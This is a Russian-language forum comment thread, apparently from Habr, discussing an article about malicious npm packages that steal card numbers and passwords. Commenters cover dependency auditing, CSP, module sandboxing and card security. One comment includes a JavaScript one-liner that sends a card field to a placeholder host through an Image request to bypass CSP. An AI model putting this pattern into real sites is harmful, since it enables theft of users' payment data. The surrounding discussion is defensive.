Комментарии 325
После того как пакет проверен — он допускается в QA, но на этапе выпуска в Prod это еще раз анализируется в различных моментах, вплоть до открытия кода на Х% реальных юзеров, чтобы протестировать в условиях максимально близких к боевым
На любом этапе анализируется весь трафик, который идет на/из устройства и в случае подозрений — делается rollback
sinopia имеет проблемы с пакетами вида @somescope/somepackagename
Разработчики забили на поддержку.
Вот живой и поддерживаемый форк verdaccio (1700+ звёзд)
Не знаю на чем у них, но мы используем этот. Пока негативных моментов не заметили.
А как проверяется? Как служба ИБ проверяет npm-пакеты?
При первом добавлении пакета — довольно сложная процедура, т.к. нужно изучить много кода, при апдейтах — много проще — посмотреть diff'ы
ИБ в данном случае — это не только security engineer, но еще и неплохие программисты с практическим опытом в bounty
Ну так банальный core review и сборка из исходников
Это не даст 100% гарантии, что в коде не содержится вредоносных фрагментов.
Типичный пример: ослабление open source критографических библиотек спецслужбами. Никто об этом годами даже не догадывался, пока об это не сообщили явно.
Известные уязвимости проверяются, в том числе пакеты/версии в которых они найдены, но всё проверить невозможно, это все прекрасно понимают
В ИБ всегда баланс рисков и затрат на их снижение. И задача прежде всего именно снизить риски, т.к. любой безопасник понимает, что полностью их исключить нельзя (последний пример с уязвимостью в процессорах — явный пример, без всякой теории заговора спецслужб)
Но иногда или пакет плохо поддерживается (или вообще разработку забросили), или же фикс нетривиальный и требует времени чуть ли не больше, чем разработка фичи/функционала с нуля — в таком случае скорей всего будут искать альтернативу или писать руками
… а сторонний функционал визуально очевиден, о чём и речь в посте, в git одно, а в сборке другое
Конечно в ToA или в лицензии об этом прописано, но если нам не хочется, чтобы что-то куда-то отправлялось, — мы просто собираем из сорцов
Это даже не уязвимость, это сбор данных пользователя, например. Или авто-баг репорты.
И конечно код ребята из ИБ собирают в песочницах (докер/виртуалки), потом тестируют, потом только его отправляют на сборку в центральный Jenkins/TeamCity и оттуда в репу
Мы же тут вроде о зависимостях говорим. Пока зависимость не нуждается в обновлении, её собранный артефакт не нуждается в повторной сборке.
При наличии CICD пересобирается только то, что требует пересборки
То есть проверка апдейтов делается так же как и любого другого кода, разве что быстрее, т.к. как правило объем изменений не такой большой (диффы)
Oh, sh~, видимо не проверяется, по крайней мере зависимости)
Крупные компании тоже проводят свой аудит, особенно если работают в тех сферах, где защита информации — основная задача (финансы, крипта, всякий enterprise)
habrahabr.ru/sandbox/100878
Этой ошибке много лет и это в пакете за которым следят миллионы глаз.
Если баг проявляется у вас лично — пишите баг репорт и его поправят или сразу пулл реквест, если вы у себя его поправили уже. Если баг вам не мешает спать по ночам, то смело игнорируйте, если он не несет угрозы ИБ
Поправьте меня, если вдруг что то не заметил
Именно баги превращаются в уязвимости, увы
А еще рекомендую почитать www.csoonline.com/article/3157377/application-development/report-attacks-based-on-open-source-vulnerabilities-will-rise-20-percent-this-year.html (на английском), очень интересная статья по этому поводу. Думал перевести на Хабр, но не уверен, что найду время
Алгоритм то заявленные требования обеспечивал и то, что при определенных параметрах нет секретности, так и кривые есть сингулярные.
Есть рекомендованные ГОСТ параметры кривой, так и на веру их и принимают все.
И тот же NIST всегда указывал, что параметры a,b,… выбраны по критерию простоты вычислений.
В биткойне так вообще a=0 ( проще некуда) и что-то мне подсказывает, что не спроста ))
А может проще CSP правильно настроить?
что б поймать кусок памяти с паролем надо перелопатить условно половину оперативки(в среднем).
скорость доступа к произвольной памяти там неахти(да и несовсем к произвольной)
тоесть уязвимость конечно сурьезная, но так просто не заюзаешь.
Если вы не знаете о какой-то реализации то тут возможно 2 случая:
* ее не существует
* вы о ней не знаете
А ситуацию, при которой кто-то что-то расковырял и тайно этим пользуется, ни я, ни автор комментария, на который я отвечал, никак не обсуждали — зачем вы это тут за уши притягиваете я не понимаю.
Если вы пишете веб-приложения, то, скорее всего, вы их на чем-то хостите? Может быть вы слышали про apache? Или, может быть, вы используете серверные интерпретируемые языки типа Python/PHP/etc? Может быть вы точно знаете что делает каждая строчка в их исходном коде?
На самом деле стоит только Линусу Торвальдсу захотеть намайнить немного криптовалюты и ядро linux неуловимо изменится… Конечно, там не он один все ревьюит, но тем не менее, уровень паранойи можно включить на максимум при желании…
Помимо всего этого есть другие ЯП со своими пакетными менеджерами. Хороший год.
Всё от ПО до железа — дыра безопасности. Ну хоть что-то в безопасности.
Может это деформация, ввиду образования в области компьютерной безопасности, но немалая часть моих знакомых делает точно так же…
1. Выйти на улицу, найти банкомат своего банка, чтобы снять деньги с зарплатой карточки.
2. Чертыхнуться, потому что банкомат не работает и пойти в другое отделение.
3. Отстоять очередь.
4. Снять нужную сумму.
5. Найти терминал, чтобы внести деньги на виртуальную карту.
6. Чертыхнуться, потому что терминал отказывается принимать последнюю пятитысячную купюру.
7. Вернуться к банкомату, отстоять очередь, снять ещё 5 тысяч рублей.
8. Вернуться к терминалу.
9. Дойти до дома.
Да, ещё не забыть про комиссии.
С банкоматами, их поиском и прочими чудесами вида «у нас нет связи с банком»(а бывают и похлеще, уж поверьте), я не сталкиваюсь, и окружающим не рекомендую… Да и ваша цепочка показывает, что банкомат стоит из этого алгоритма выбросить, как наиболее затратную по времени составляющую)
0. Найти терминал(если вдруг ещё не запомнил, где терминалы около твоего дома :)).
1. Дойти до терминала
2. Внести деньги на виртуальную карту(даже с выбором другой купюры из кошелька — займёт не больше пары минут).
3. Дойти до дома.
Причём первый и последний пункт зачастую отпадают, так как можно посетить терминал по дороге от работы до дома, или наоборот…
И, конечно же, терминалы вы выбираете именно те, в которых знаете что софт стоит точно после code review и не содержит ничего из npm-пакетов.
А теперь представьте аналогичную ситуацию, только с вариантом, что вы находитесь заграницей?) Сколько головной боли получите? В другом городе, где нет отделений того же банка, хоть и есть банкоматы — тоже ситуация не лучше…
На прошивку терминала его проблемы мне побоку — если я внёс деньги, получил чек, то как показывает практика — вопросы с не дошедшим, или дошедшим по неверному адресу платежом решаются через техподдержку в течении пары суток… Неприятно, но не страшно — зависшие несколько тысяч на конкретную покупку это не такая уж большая проблема.
Почему ваш параноик не боится домушника, зашедшего в дом, но боится того что вдруг банк заблокирует карты всех своих клиентов?
Лично мне кажется логичной принцип среднего — сумма на 2-3 дня наличкой хранится на руках/дома, а остальное — на карте, на депозите или во вкладах.
Ниже в комментариях я уже примерно описал, что и как должно храниться в моём понимании, и ответ на ваш вопрос там тоже есть, причём практически совпадающий с вашей версией, за небольшими исключениями. Основная часть должна быть именно «на депозите или во вкладах», но никак не на карте. Сумма на 2-3 дня должна быть в кошельке, а на ближайшие 3-4 недели дома, на случай форс-мажора с карточками, банками, счетами и т.д…
А где вы держите накопления?
То есть у вас всегда при себе имеются наличные деньги на любую покупкуне на любую, а только на планируемую, если же планируемых нет — есть пара тысяч на мелкие покупки или возникшие форсмажоры…
Накопления — поверьте, не под подушкой, не в кошельке, и даже не в кладовке, в банке с крупой) Но и доступа у человека, который утащил у меня пароль от онлайн банкинга к ним тоже нет, для их получения как минимум нужны документы и моё личное присутствие)
Перевести с карты банка на виртуальную. Онлайн. Без комиссии.
просто в терминале…
интерфейс которого написан
модными-стильными-современными кодерами…
Круг замкнут, выхода нет.
Хотелось бы конечно нечто вроде ЮАР'вского root.co.za (где вообще можно дописать свой скрипт(!) в процессинг)
… и пополнять её, вводя данные в онлайн банке, или через банкомат, в котором тоже может быть этот или другой вредоносный код. Ну или по СМС, которые вообще лучше отключить. А потом покупаешь, на ней какой-нибудь, например, лицензионный ключ, который приходит на почту, от которой тоже надо вводить пароль, и который надо активировать в личном кабинете, у которого тоже есть пароль, и, возможно вредоносный.
Но а если серьезно — сам, так и делаю, держа для покупок отдельную карту с небольшой суммой, пополняя её если надо оплатить что-то дорогое. А с других карт излишки перевожу на счет.
Я в мобильном приложении ввожу, например. И то не номер карты, а отпечаток пальца. Ещё вопросы?
Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте. Про отпечаток пальца что-то не понял — в каком смысле не поменять?
Я могу отличить нативное приложение от вебвью, спасибо. Я не говорил, что сторонние компоненты в мобильных приложениях не используются — я всего лишь говорю, что организовать такие проблемы в мобильном сильно сложнее.
Про отпечаток ересь какая-то. Какая ещё утечка, его хардварно поддерживают устройства. Приложение до него вообще доступа не имеет. Учите матчасть.
Бред. Разговор идёт про широконаправленные атаки, "бомбят по площадям". Про то, что сторонняя компонента встраивается в приложение и крадёт данные.
Никто не говорил про индивидуальные атаки на человека — так-то сломать можно всё, что угодно.
Есть. Проводили ли вы аудит этого мобильного приложения? Или же даже не видели его исходников? Читали ли вы про успешную подделку отпечатка пальца по фотографии?
Правда вариантов, когда технический овердрафт может возникнуть на существенную сумму я придумать не могу, кроме случаев двойного списания суммы, но такие варианты обычно решаются оспариванием транзакции.
Это когда оплатил в магазине сейчас, баланс на карте не изменился, смс не пришла, а реально списание произошло через 1-2 дня.
Забавно, но подтверждение пришло в скором времени после очередного использования карты и суппорт банка минут 15 разбирался почему вдруг образовался овердрафт.
По схеме расчетов сначала сумма блокируется по курсу на момент блокировки.— а кто за эту схему расчётов ответственный, банк? конкретный интернет-магазин? или это общепринятая практика?
В онлайне вообще не сталкивался с ситуациями, когда после расчётов деньги на счету всё ещё оставались…
Заблокированная сумма обычно отображается именно как списанная. Некоторые банки в выписках могут указывать дату операции (блокировки) и списания денег — она может отличаться.
И когда с вашего сайта радостно начнет утекать sensitive data пользователей, ответ «Да завели бы себе отдельную карту и всё» их вряд ли устроит.
Не говоря уж о том, что платежные данные — не единственная ценная информация, которую оставляют пользователи на сайтах.
Это точно так же могут быть реквизиты аккаунтов, сканы документов, приватный контент, whatever.
И в итоге попытка отказаться от использования всего этого в интернете сводит всё к п.1 из статьи выше.
upd: Я буду обновлять ветку комментов каждый раз, перед там как что-то постить.
Потому что это никак не зафорсированно. И на n пользоватей с выделенной картой будет k пользователей с зарплатной. :/
Эта статья в большей стетепни для разработчиков. Для пользователей достаточно понимать, что ничто не мешает какому-нибудь интернет-магазину ложечек просто переть ваши данные, без всех этих хитростей.

А я думал что я параноик.
Виртуальная карта от Qiwi или чего-нибудь подобного. Невозможно потерять денег больше, чем было физически запихано кэша в терминал.
Снимете в банкомате? :)
Из тумбочки. В тумбочку тоже я кладу.
Остальные вынуждены зарабатывать, а работодатель почему-то не хочет иметь физическую кассы и предпочитает зарплатные карты.
А работник предпочитает то, что предпочитает.
Согласно пункту 1 статьи 421 Гражданского кодекса РФ, граждане и юридические лица свободны в заключении договора. Понуждение к заключению договора не допускается, за исключением случаев, когда обязанность заключить договор предусмотрена Гражданским кодексом РФ, законом или добровольно принятым обязательством. Следовательно, работодатель не может обязать работника заключить договор банковского счета для перечисления заработной платы.
Источник: http://www.tkodeksrf.ru/ch-3/rzd-6/gl-21/st-136-tk-rf
Идёт в жопу, значит. Может, он потом захочет зарплату вообще не платить. По ТК обязан, но вот захочет и всё.
Вы попадаете в 0.001% тех, кому указанная здесь угроза не угроза.
Классно, таким людям я тоже завидую, наравне с теми, у кого есть тумбочка.
Сказал же про тумбочку, что в неё тоже я кладу. Она не сама варит.
Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.
Рабовладельческий строй какой-то.
Кто-нибудь может объяснить?
Типичный Java-проект скачивает все зависимости уже в скомпилированном виде с maven central
Ну нет, в типичном проекте средних размеров уже есть собственный менеджер репозиториев.
Который кеширует всё с maven central?
Не факт, зависит от степени параноидальности отдела безопасности.
Аналогичное справедливо и для NPM. Отдел безопасности может и node-модули проверять.
Или node-модули проверяют специально обученные хипстеры вместо обычных безопасников?
Гарантии примерно такие же, как и с другими платформами, типа Java, например.
К чему разводить лишнюю паранойю конкретно про node_modules?
Я периодически поглядываю, что лежит у меня в node_modules, и до этой статьи, и после, но никогда обфусцированного кода не видел.
Если бы встретил, моя логика была бы простой: код опесорсный, скрывать ему нечего, ну его нафиг, лучше выберу другой модуль с той же функциональностью, чем распутывать зашифрованные куски.
Обфускация != сжатие.
Обфусцированный код разбирают, например, в этой статье. Это не так просто. Если ваши зависимости содержат такой код, то лучше выкинуть эти зависимости, честным разработчикам скрывать нечего.
Сжатый код, как react.production.js
разжимается обратно очень легко. Возвращаем форматирование и получаем почти такой же читаемый исходник.
Разве что сеть ревьюеров, что-то вроде web of trustБ… бл… блокчейн?
Вероятно, мой вопрос покажется глупым сообществу, но если такая уязвимость возможна с React, то будет ли она действовать, если на сайте React не используется, но применяются другие модули с GitHub?
Например, у меня есть Framework Yii2 последней на сегодняшний день версии. На нём установлены модули с GitHub, которые позволяют красиво добавлять гиперссылки в текст статьи из админки и выводить красивые галереи пользователям.
В глобальном шаблоне layouts/main.php клиентской части есть форма, которая становится видимой при совершении пользователем каких-то действий. Других форм клиентская часть не предлагает. Вход же в админскую осуществляется через стандартную форму Yii2, отображаемую на отдельной странице. Единственная применяемая JS-библиотека — jQuery.
Может ли данная уязвимость передать данные клиентской формы и формы входа администратора при таких условиях?
Было бы интересно узнать. Посему обрадуюсь любому внятному ответу.
но еще это не совсем так с его партнерами
www.pci-proxy.com/tag/pci-booking-com
тем не менее это временные номера карт которые уничтожаются
более интересная информация есть о безопасности в области заказа билетов на самолеты через GDS
https://pastebin.com/raw/2EtY76Nn
Супер! Спасибо!
Но в уголочках начинает чуть чуть скрести паранойя. :-)
Грустно лишь то, что такие заметки становятся отличным вдохновляющим руководством для тех, кому своего ума на такие комбинации не хватило.
И вообще, вот очень бы хотелось посмотреть на того, кто додумался писать СVV код на самой карте и сделал это стандартом (хотя это уже конечно не к Сберу претензии)…
Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты — это же самоочевидно, что секретный код не должен быть виден на самой карте!
А на недавно полученной визе сберовской он не просто напечатан, а еще и вдавлен, с трудом зачистил лезвием.
Про импринтеры слышал, но у нас они насколько же редкие как и оплата выписыванием чека — и то и другое видел только в зарубежных фильмах.
У нас их не было. А вот при поездках за рубеж один раз оплачивал именно так (было это в 2009 году).
Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты
Зависит от политики банка и платёжной системы. Многим магазинам CVV вообще не нужен, поэтому отсутствие CVV на самой карте не защищит от вывода с неё денен.
с трудом зачистил лезвием.
Вот тут в соседней теме (3 года назад, правда), есть такие комментарии:
Disclaimer. Юридически карта без CVV может быть признана недействительной. Практически в РФ и Украине это вряд ли произойдет, но в ЕС и США возможно.
Удалить cvv/cvc — код с карты нельзя, так как он является необходимым реквизитом банковской карты, согласно правилам платежных систем. Формально, карта, на которой нет хотя бы одного обязательного реквизита, недействительна. То есть, теоретически, карту с удаленным cvv/cvc — кодом могут отказаться принять к оплате в терминалах торгово-сервисных предприятий.
Так что еще и удалять нельзя :(
Однако, это имеет место быть — в магазине «КЦ Кей» отказались у меня брать карту, на которой последние цифры были залеплены наклейкой (снимал копию для визы, забыл оторвать). Снял наклейку — взяли =)
Как я понял после прочтения пары форумов, в таком случае вроде как ответственность на себя берет магазин и можно оспорить транзакцию. Но, судя по комментариям там же, часто эти оспаривания крайне затягиваются и переходят в перекидывание ответственности между магазином, банком и процессинговой системой(
А вы уверены, что 3DSecure у приватбанка является обязательной?
Вот вижу клиент пытается сделать её такой.
Ну и проверить же просто, давайте данные, я сниму денег без СМС.
Вообще-то, 3DSecure и аналогичная лабуда у остальных — это защита продавца, не покупателя. Если магазин поддерживает авторизацию по СМС — она работает, если не поддерживает — банк никаких кодов не запросит. Нам (читателям русских текстов) маркетологи СБ и компании как-то очень сильно внедрили мысль, о том, что код 3DSecure защищает покупателя, тогда как покупателя защищает МПС. А вот продавцов, от нечестных покупателей, этот код как раз и защищает.
Маркетологи сделали чудо и дополнительное неудобство (а ведь ожидание и ввод кода, плюс нарушение закона в виде навязывание услуг сотового оператора — это неудобно) представили как дополнительную степень защиты.
Но пока есть хоть один магазин, принимающий карты без заморочек (например амазон), эта защита не защитит клиента.
Если кто-то сфотографировал вашу кредитку, когда вы расплачивались в баре и заказал по ней товар, например на амазоне (там нет 3DS), вы через какое-то время это обнаруживаете и пишете в банк на возврат. У магазина почти нет шансов оспорить ваше заявление, у него нет никаких доказательств что это именно вы заказали и оплатили товар или услугу. А вот сделка через 3DS с точки зрения МПС гарантирует магазину, что на том конце точно сидит владелец карты и он знает, что делает.
Но выбор использовать 3ds или нет — за магазином.

И знаете что? Им насрать. Впрочем, нет, они ведь даже ответили на эту претензию где-то здесь, на ГТ.
geektimes.ru/post/289577
geektimes.ru/post/289661
А у них там какой-нибудь свой не менее толстый nuget.org. Мелких пакетов для "раскраски консоли", правда, нет, так что граф зависимостей обычно поменьше и читаем. Но от проблемы выше не избавляет.
Другое дело, что эти исходники надо не лениться читать.
И страдают прежде всего те, кто покупает никому не нужные стикеры.
let img=new Image(); img.src="https://LULsite.com/?credit="+$('.credit')[0].value;
Это без всяких фетчей отправит запрос, который отследить сложнее, если смотреть через анализаторы кода или даже визуально. Кроме того, CSP пропустит этот запрос, если не указать img-src (чего почти никто не делает). А кроме Image сколько ещё есть прекрасного.
Вывод: можно напрягаться и писать анализаторы, чем некогда занимался я, а можно выпустить продукт поскорее, просто не увлекаясь сторонними пакетами столь фанатично, и настроить несколько уровней безопасности, чтобы доступ к любому из них не дал украсть или разрушить всё остальное.
1)А «ВКонтакте» тоже «под колпаком»?
2)А как происходит отслеживание открытия средств разработчика?
JS прекрасный язык, статья очередное тому подтверждение
Неплохой бизнес-план, почему нет метки "Туториал"?
Так решение находится на поверхности и оно вроде достаточно простое. И уже реализовано в iOS и Android.
- Нужна возможность при подключении пакета/модуля (через import) выставлять права доступа (работа с DOM, network (Ajax), canvas, использование events и тд).
- Полностью изолировать код модуля. Window и document не доступен, стандартные функции объектов string, array и т.д тоже, если их не как-то передать при инициализации модуля.
Короче нужно расширения для webpack =)
Так не надо использовать одну библиотеку, которая делает все и является прослойкой от native js. Если брать подход с использованием ядра в виде react, vuejs, angular с различными доп. модулями, которые решают конкретную задачу, то идея с правами доступа имеет право на жизнь. Но это не гарантирует, что нельзя будет вставить вредоносный код (если его добавят в ядро какого нибудь react, у которого будет доступ к DOM, то можно будет делать любые get запросы)
А в итоге опять получим через полгода новый фреймворк, который удобно их объединяет в две строчки.
И в чем проблема вместо накликивания чекбоксов — прописать список импортов с разрешениями?
Я не говорю, что это решит проблему полностью, но безопаснее чуть-чуть станет. Все равно останется момент с доверием к вендору, но зато вы будете знать какие права нужны пакету, чтобы он работал. Ведь будет странно, если пакету нужен доступ к отправке запросов или к DOM, когда он меняет цвет сообщений в консоле, не так ли?
Держите песочницу: https://github.com/eigenmethod/mol/tree/master/func/sandbox
Осталось генерируемые вебпаком для каждого модуля eval
заменить на sandbox.eval
.
Ну а пока вы минусуете, я поисследовал тему. Концепция модулей в JS заключается в том, что каждый модуль — это синглтон. И это проблема. Мы не можем выдать права модулю в момент подключения. Ибо подключаться он может из разных мест с разными правами. По той же причине мы не можем распространять права транзитивно. То есть, например, выдали модулю "весёлая консолька" доступ к "console" и какие бы модули тот ни подключил — они не получат доступа к чему-то кроме "console".
Идеально было бы на каждый require
создавать отдельный инстанс модуля с отдельными правами. При обычном require('color-console')
права просто бы передавались без изменений. А при require( 'color-console', { console } )
модуль запускался бы в песочнице, где из глобальных переменных была бы лишь та, что мы передали. К сожалению, такая логика сломает чуть ли не все существующие модули. Так что её если где и увидишь, то только в новых экосистемах.
Тут та же проблема с транзитивными зависимостями. Модуль А зависит от Б и В, а Б и В зависят от Г и выдают ему разные права. Какие в итоге права будут у Г?
Я, конечно же, имел ввиду не node модули, а npm модули, они же пакеты. Проблема там та же.
Нет, изначально я имел ввиду именно node модули, в последнем сообщении уже пакеты. Суть проблемы же не меняется. Либо у нас проблема ромба с непонятными правами, либо полностью ациклическое дерево с комбинаторным взрывом числа листьев и соответственно без синглтонов.
justboris это всё работает пока у нас 10 зависимостей. Но вас не хватит вручную раздать права 10 тысячам модулей, приходящих через зависимости. А даже если и хватит, то это просто перекладывание ответственности, но не решение проблемы. Ну мы же тебе показали список на 100 экранов, ты согласился — сам дурак.
Я предлагаю смотреть только на модули, явно импортируемые вами.
Что-то похожее на import-cost, только вместо размера показывать список прав которые нужны этому импорту, с учетом его зависимостей.
А зачем нам видеть что там реально происходит? Нам, как пользователям модуля, достаточно знать, что где-то там происходят запросы к сети, и если мы их не хотим, то лучше поискать другой логгер.
Например такой, где это будет сделано плагинами:
import logger from 'cool-logger'; // console
import logstashPlugin from 'cool-logger-logstash'; // net
logger.use(logstashPlugin);
Здесь все прозрачно видно, что где происходит, и что нужно отключить, если не хочется ничего посылать в сеть
Куда-то не туда ваше развитие идеи повернуло. Зачем нужно заниматься сложным разборов прав в рантайме?
По идее это нужно на этапе добавления нового модуля в проект. Чтобы при выполнении npm install color-console --save
сам NPM писал, каких прав хочет пакет (и все его зависисмости) и спрашивал разрешение на продолжение. Если ответ положительный, то права записываются в package.json. Если когда-нибудь будущая версия color-console
захочет больше прав, то при выполнении npm update
диалог появится снова.
cool-logger сам по себе должен требовать пустое множество прав, а его зависимости отдельно console и net
Да, я думаю так.
Пользователь при добавлении логгера в package.json увидит агрегированный список прав, которые требуются модулю и всем его зависимостям и сам решит, нужен ему такой логгер, или лучше поискать другой, который просит меньше.
Сами модули никому никаких прав не делегируют, просто прозрачно показывают, что им требуется, чтобы конечный пользователь принял решение.
Я, в основном, backend-разработчик. Для фронтенд-части у меня есть скрипт с Gulp, который собирает все зависимости и пакует из них одну сборку. Я не хочу залезать в каждую библиотеку и смотреть что оно там по зависимостям тянет. Да и не разберусь я в ноде — я на джанге пишу.
Сейчас вот просто посчитал — в папке node_modules у меня 2192 раза встречается файл package.json. И что я должен с эим делать?
Вот как раз два дня назад при отладке на localhost заметил что браузер заблокировал два запроса на домен vseolice.ru. Мало того что это локалхост, так ведь и ничего похожего я не использую — ни баннеров, ни вообще российских доменов.
Грустно все это.
Чувак, написавший статью — теоретик. В теории, оно возможно и так, а на практике сколько он чего и у кого стянул таким способом? Я писал тест на JS'е для оплаты тестовой кредитной картой покупки в тестовом магазине на тестовой учётке в braintree — я задолбался во фреймы нырять и эмулировать ввод данных на форме. И это при том, что у меня были все возможности отдебажить код на странице. Сделать обратную операцию и считать данные из формы у braintree — задача не намного более простая. А таких процессингов кредиток — не одна штука. И форматы форм у них почему-то не совпадают. В теории можно написать универсальный скрипт для всех процессингов, который будет сливать номера всех кредиток хитрым неотслеживаевым способом на засекреченный адрес в интернете. На практике можно даже написать статью, как это сделать в теории. Но сделать на практике то, что описано в этой теории, пока что не удалось никому. Включая автора статьи.
Если бы npm пакеты представляющие фреймворки релизились IT гигантами, непредвиденного г-на было бы на порядок меньше, а реюз на порядок выше.
А статья класс, так и надо, хакеру за выдумку респект.
А если серьезно, то все выглядит печально. И не факт, что на backend-е ситуация значительно проще.
Что может быть проще: прикрыться «выдуманной историей» поделившись рецептом с толпой. 1 из 1000000 да сделает свою примитивную реализацию. Таким образом, когда кто-нибудь на сайте и обнаружит эксплойт, отследят новоиспечённого засранца, «баг-фикс» закроют, и код мастера так же и останеться сидеть на сайте как бы не при делах.
А вас что, и правда после слов «моя фантазия» паранойа отпустила? :)
Да, это лишний раз напомнило мне о величайшем мифе современности, и не только в it, а даже на бытовом уровне: "Мы живём в безопасном мире". Подвиды его: всё можно предусмотреть, несчастный случай всегда результат халатности, моя милиция меня бережёт, мои права соблюдаются извне...
И всячески стараемся забыть:
Вместо того, чтобы вам говорить: "если угодно будет Господу и живы будем, то сделаем то или другое", — вы, по своей надменности, тщеславитесь: всякое такое тщеславие есть зло. (Иакова 4:15-16)
Предусмотрите, что можете остановитесь на разумном пределе, а в остальном — будьте проще. И если откармливаете внутреннего параноика — не забывайте давать ему выходной.
Пока что я такую штуку видел тока 1 раз на сайте веб версии скайпа, если попытаться туда через консоль подгрузить jquery cdn например выйдет ошибка.
CORS позволяет разрешить вашему сайту отправлять запросы к site-X. Для этого со стороны site-X (!!!) в ответах выставляются CORS заголовки, в которых есть домен вашего сайта.
CORS никак не сможет запретить useragent'у кинуть запрос на сайт хакера (случай с хакером-идиотом, который на своём сайте запретит ваш сайт мы не рассматриваем).
между 7-ю утра и 7-ю вечера
Это актуально только для конкретного часового пояса, в котором сидят разработчики использующие этот
Для остальных же запросы будут идти вполне себе в рабочее время :)
Это конечно ничего не меняет, но все же :)
«Для остальных»
Остальные — это домохозяйки, понятия не имеющие об инструментах разработчика и Fiddler'е.
Зачем php-скрипту из WordPress обращаться на внешний адрес? Он может записать все в файлик uploads/picture345.jpg и все. Раз в три дня сканер пройдет и сам скачает этот файлик.
А вот плагинов для него существует дочерта и внутри такой ад, что любой code-review окончится кровавыми слезами. Но как-то работают и вы можете просто посмотреть сколько интернет-магазинов строится на нем.
Это вы пишете прекрасный и красивый код, а большинству индусов все написать в одном файле — очевидная вещь.
Может быть в Facebook это и не пройдет. Пока. Начались же финансовые проблемы в Yahoo! и через некоторое время оказалось что пароли пользователей скомпрометированы и еще черт знает что…
Вот что мне не так не нравится в современных методах разработки, когда «запилим пару десятков зависимостей в composer, не сильно переживая о том что нужно, а что лишнее и он нам все подкачает»
Добавлю страницу в закладки. Буду показывать всем, кто так любит менеджеры зависимостей, и когда все легко и по-современному.
Мы разработчики и мы понимаем проблему и ее серьезность. А что вы скажете бизнесу?
Вот приходите вы к директору и говорите — возможно, что в одной из 15000 зависимостей, которые тянет наш проект, есть какая-то уязвимость. А может и нет. Давайте потратим полгода на анализ? Или перепишем все сами?
А директор вам — «а что может случиться? Кредитки пользователей уведут? А может и не уведут? А пожуй..»
Смотря как реализована форма, если она просто в теге form, она спокойно отправится без js. Есть много сайтов где формы, появляются при нажатии на кнопку и отправляются модально, без перезагрузки страницы, при отключении js просто добавляется дополнительная промежуточная страница с формой и она сабмитится без js
Ну хоть в этом случае шапочка из фольги помогает? Или можно уже снимать?
Ура?
iptables -A OUTPUT -i lo -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -m state --state NEW -m set --match-set access_list dst -j ACCEPT
iptables -P OUTPUT DROP
Список разрешенных адресов загоняем в ipset.
С FQDN будет посложнее, но тоже реализуемо.
Правда нет худа без добра. Согласитесь в этом плане при общении с заказчиками добавляет дополнительный аргумент использовать не стандартное ПО, а своё личное?
Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов